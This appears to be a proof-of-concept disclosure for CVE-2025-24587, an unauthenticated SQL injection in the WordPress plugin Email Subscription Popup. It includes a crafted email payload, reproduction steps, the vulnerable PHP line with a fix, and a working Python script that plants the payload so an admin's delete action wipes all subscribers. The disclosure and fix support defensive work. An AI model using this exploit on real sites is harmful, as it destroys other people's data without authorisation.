CVE-2025-24587 PoC — WordPress plugin Email Subscription Popup SQL注入漏洞

Source

Associated Vulnerability

Description

PoC of CVE-2025-24587

Readme

# CVE-2025-24587

# 1️⃣ Component type

WordPress plugin

# 2️⃣ Component details

`Component name` Email Subscription Popup

`Vulnerable version` <= 1.2.23

`Component slug` email-subscribe

`Component link` https://wordpress.org/plugins/email-subscribe/

# 3️⃣ OWASP 2017: TOP 10

`Vulnerability class` A3: Injection

`Vulnerability type` SQL Injection

# 4️⃣ Pre-requisite

Unauthenticated

# 5️⃣ **Vulnerability details**

## 👉 **Short description**

An unauthorized user (attacker) subscribes to the newsletter using an email address containing an SQL Injection payload. Later, when the administrator navigates to the "Subscriber Management" page, selects the malicious email address, and requests deletion, the SQL Injection payload embedded in the email address is executed. As a result, all subscribed email addresses are deleted from the database.

## 👉 **How to reproduce (PoC)**

1. Prepare a WordPress site with the "Email Subscription Popup" plugin (version ≤ 1.2.23) activated.
2. Run the `poc.py.txt` file (attached) using Python to subscribe to the newsletter with an email address containing a payload that triggers the SQL Injection vulnerability:
    - Email address: `'/**/OR/**/1=1#@a.a`
    - Note: Subscription using this email address is not possible via the client (browser) due to validation. Instead, send an HTTP request packet directly as shown in poc.py.txt.
3. Log in as an administrator and navigate to:
[`http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management`](http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management).
4. Select the email address `'/****/**OR**/****/1=1#@a.a` and click the "Delete Selected Subscribers" button at the bottom.
5. As a result, all subscribed email addresses will be deleted.

## 👉 **Additional information (optional)**

**[Cause of Vulnerability]**

This vulnerability occurs in the file wp-content/plugins/email-subscribe/wp-email-subscription.php, specifically between lines 2080 and 2084:

```php
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
```

To resolve this issue, you can use `$wpdb->prepare()` provided by WordPress. This function safely escapes and formats variables used in SQL queries to prevent SQL injection attacks.

```php
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);
```

# ⭐ PoC Code

```python
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()
```

## 6️⃣ Exploit Demo

[![video](https://img.youtube.com/vi/UG38B1MlUm8/0.jpg)](https://www.youtube.com/watch?v=UG38B1MlUm8)

## 7️⃣ References

- [https://nvd.nist.gov/vuln/detail/CVE-2025-24587](https://nvd.nist.gov/vuln/detail/CVE-2025-24587)

File Snapshot

 [4.0K]  /data/pocs/1ee300ccb16363c2d09cde3b21366e1805dfd0b8
├── [1.6K]  poc.py
└── [4.5K]  README.md

0 directories, 2 files

Remarks